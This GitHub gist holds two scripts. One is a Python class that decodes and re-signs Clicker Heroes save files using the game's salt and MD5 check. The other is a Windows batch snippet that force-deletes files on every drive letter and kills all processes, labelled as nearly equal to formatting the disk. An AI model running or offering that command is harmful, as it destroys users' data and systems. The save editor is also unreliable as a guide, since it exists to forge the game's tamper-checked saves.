Skip to content

Instantly share code, notes, and snippets.

@Cat7373
Last active December 13, 2017 17:14
Show Gist options
  • Save Cat7373/cc09600abe4e66912c811816557c07f9 to your computer and use it in GitHub Desktop.
Save Cat7373/cc09600abe4e66912c811816557c07f9 to your computer and use it in GitHub Desktop.
一些脚本
# coding:utf-8
import base64
import hashlib
"""
Game Page: https://www.clickerheroes.com/
save: json -> base64encode -> sprinkle -> addHash
load: unsprinkle -> checkHash -> base64decode -> json
"""
class ClickerHeroesSaveDataEditor(object):
def __init__(self, salt="af0ik392jrmt0nsfdghy0", text_splitter="Fe12NAfA3R6z4k0z"):
self.__SALT = salt
self.__TEXT_SPLITTER = text_splitter
# ========================================
def __base64Encode(self, data):
return base64.b64encode(data.encode()).decode()
def __base64Decode(self, data):
return base64.b64decode(data.encode()).decode()
def __md5(self, data):
md5 = hashlib.md5()
md5.update(data.encode())
return md5.hexdigest()
# ========================================
def __getHash(self, data):
# arr = list(data)
# arr.sort()
# data = ''.join(arr)
return self.__md5(data + self.__SALT);
def __sprinkle(self, data):
arr = list(data)
resultArr = [''] * len(arr) * 2
p = 0
while p < len(arr):
resultArr[p * 2] = arr[p]
resultArr[p * 2 + 1] = '-'
p += 1
return ''.join(resultArr)
def __unSprinkle(self, data):
arr = list(data)
resultArr = [''] * int(len(arr) / 2)
p = 0
while p < len(arr):
resultArr[int(p / 2)] = arr[p]
p += 2
return ''.join(resultArr)
# ========================================
def save(self, jsonData):
base64Data = self.__base64Encode(jsonData)
return self.__sprinkle(base64Data) + self.__TEXT_SPLITTER + self.__getHash(base64Data)
def load(self, saveData, skipHashCkeck=False):
data = saveData.split(self.__TEXT_SPLITTER)
sprinkleData = data[0]
if len(sprinkleData) % 8 != 0:
raise SyntaxError("Invalid save data!")
base64Data = self.__unSprinkle(sprinkleData)
if not skipHashCkeck:
if len(data) != 2 or self.__getHash(base64Data) != data[1]:
raise SyntaxError("Hash ckeck fail!")
return self.__base64Decode(base64Data)
# ========================================
def test():
jsonData = '{"author":"Cat73","QQ":1901803382}'
editor = ClickerHeroesSaveDataEditor()
saveData = editor.save(jsonData)
print(saveData)
jsonData = editor.load(saveData)
print(jsonData)
if __name__ == "__main__":
test()
rem 几乎等于格盘(大部分文件可恢复)
for %p in (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do (start del /f /s /q %p:\*.*)
rem 杀掉所有有权杀的进程
taskkill /f /fi "PID ne 1"
@LOVINFNAF
Copy link

wat

@LOVINFNAF
Copy link

what is this?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment